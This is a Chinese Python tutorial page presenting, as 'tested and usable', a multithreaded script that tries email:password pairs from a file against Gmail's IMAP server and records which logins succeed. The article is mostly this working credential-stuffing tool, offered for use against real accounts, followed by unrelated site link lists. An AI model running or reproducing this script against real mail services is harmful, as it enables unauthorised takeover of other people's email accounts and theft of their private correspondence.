Python实现在线暴力破解邮箱账号密码功能示例【测试可用】


Posted in Python onSeptember 06, 2017

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
  Success_File = open('success.txt', 'a')
  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
  Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
  Fail_File = open('fail.txt', 'a')
  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
  Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
 strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
 strUserName, strPassWord = strAccountPwd.split(':', 1)
 return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
 global GLOBAL_WORKING_THREAD_MUTEX_LOCK
 global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
 if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
  print('IMAP INDEX-------', IndexGmail)
  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
  try:
   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
  except GmailImap4.error :
   print('Logical errors - debug required')
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.abort :
   print('Service errors - close and retry')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.readonly:
   print('Mailbox status changed to read only')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  if (ResponseStatus[0] == 'OK'):
   print('LOGIN SUCCESS')
   Write_Save_Success_Gmail_Jobs(IndexGmail)
   GmailImap4.logout()
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  else:
   GmailImap4.close()
   print('LOGIN FAIL')
   print(ResponseStatus)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  return
# define global function
class Working_Zone_Thread(threading.Thread):
 m_IndexStart = 0
 m_IndexEnd = 0
 def __init__(self, numEnd):
  self.m_IndexEnd = numEnd
  threading.Thread.__init__(self)
 def run(self): # run process
  while True:
   if self.m_IndexStart < self.m_IndexEnd:
    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
    self.m_IndexStart = self.m_IndexStart + 1
   else:
    break
 def _delete(self):
  threading.Thread._delete(self)
  print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
 IndexStart = 0
 print('--------read----star--')
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
 global GMAIL_BYTES_READED_TOTAL_SIZE
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
 File_Read = open('mail.txt', 'r', encoding='UTF-8')
 File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
 while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
  line = File_Read.readline()
  if line:
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
   CbBytes = line.__len__()
   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
   IndexStart = IndexStart + 1
  else:
   GLOBAL_READ_FINISH_STATUS_SUCCESS = True
   break
 print('gmail read num ', IndexStart)
 File_Read.close()
 print('---------read----end--')
# main entry
if __name__ == '__main__':
 print('Main Thread Start : ')
 while True:
  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
   Read_Send_Single_Func()
   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
   wzt.start()
   wzt.join()
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
  else:
   print('data has run out : ')
   break
 print('Main Thread End : ')

更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》

希望本文所述对大家Python程序设计有所帮助。

Python 相关文章推荐
详解python并发获取snmp信息及性能测试
Mar 27 Python
遗传算法之Python实现代码
Oct 10 Python
更换Django默认的模板引擎为jinja2的实现方法
May 28 Python
python特性语法之遍历、公共方法、引用
Aug 08 Python
python将txt等文件中的数据读为numpy数组的方法
Dec 22 Python
Python3多线程基础知识点
Feb 19 Python
python3的数据类型及数据类型转换实例详解
Aug 20 Python
python matplotlib 绘图 和 dpi对应关系详解
Mar 14 Python
python实现UDP协议下的文件传输
Mar 20 Python
Anaconda+vscode+pytorch环境搭建过程详解
May 25 Python
Python 2.6.6升级到Python2.7.15的详细步骤
Dec 14 Python
仅用几行Python代码就能复制她的U盘文件?
Jun 26 Python
Python基于回溯法子集树模板解决旅行商问题(TSP)实例
Sep 05 #Python
Python基于回溯法子集树模板实现图的遍历功能示例
Sep 05 #Python
Python数据结构与算法之图结构(Graph)实例分析
Sep 05 #Python
利用Python将时间或时间间隔转为ISO 8601格式方法示例
Sep 05 #Python
python进程管理工具supervisor的安装与使用教程
Sep 05 #Python
基于Django模板中的数字自增(详解)
Sep 05 #Python
用python结合jieba和wordcloud实现词云效果
Sep 05 #Python
You might like
PHP 抓取新浪读书频道的小说并生成txt电子书的代码
2009/12/18 PHP
php实现用户注册密码的crypt加密
2017/06/08 PHP
初学prototype,发个JS接受URL参数的代码
2006/09/25 Javascript
animate动画示例(泪奔的小孩)及stop和delay的使用
2013/05/06 Javascript
jquery text(),val(),html()方法区别总结
2013/11/04 Javascript
js判断60秒以及倒计时示例代码
2014/01/24 Javascript
JQuery获取鼠标进入和离开容器的方向
2016/12/29 Javascript
详解Angular-cli生成组件修改css成less或sass的实例
2017/07/27 Javascript
nodejs实现OAuth2.0授权服务认证
2017/12/27 NodeJs
angular实现页面打印局部功能的思考与方法
2018/04/13 Javascript
深入理解Vue.js轻量高效的前端组件化方案
2018/12/10 Javascript
jQuery实现适用于移动端的跑马灯抽奖特效示例
2019/01/18 jQuery
VSCode使用之Vue工程配置eslint
2019/04/30 Javascript
构建大型 Vue.js 项目的10条建议(小结)
2019/11/14 Javascript
vue实现鼠标移过出现下拉二级菜单功能
2019/12/12 Javascript
vue实现员工信息录入功能
2020/06/11 Javascript
JavaScript中数组去重的5种方法
2020/07/04 Javascript
[48:31]DOTA2-DPC中国联赛 正赛 Dynasty vs XG BO3 第一场 2月2日
2021/03/11 DOTA
Python中异常重试的解决方案详解
2017/05/05 Python
Python机器学习算法之k均值聚类(k-means)
2018/02/23 Python
Python判断变量名是否合法的方法示例
2019/01/28 Python
Python编写通讯录通过数据库存储实现模糊查询功能
2019/07/18 Python
python飞机大战pygame碰撞检测实现方法分析
2019/12/17 Python
TFRecord格式存储数据与队列读取实例
2020/01/21 Python
tensorflow通过模型文件,使用tensorboard查看其模型图Graph方式
2020/01/23 Python
新西兰第一的行李箱网站:luggage.co.nz
2019/07/22 全球购物
硅酸盐工业控制专业应届生求职信
2013/11/02 职场文书
测绘专业大学生职业生涯规划书
2014/02/10 职场文书
2014副镇长民主生活会个人对照检查材料思想汇报
2014/09/30 职场文书
销售员未完成销售业绩的检讨书
2014/10/12 职场文书
研究生导师评语
2014/12/31 职场文书
英文感谢信格式
2015/01/21 职场文书
团员年度个人总结
2015/02/26 职场文书
2015年建筑工作总结报告
2015/05/04 职场文书
初中军训感言
2015/08/01 职场文书
学习雷锋主题班会
2015/08/14 职场文书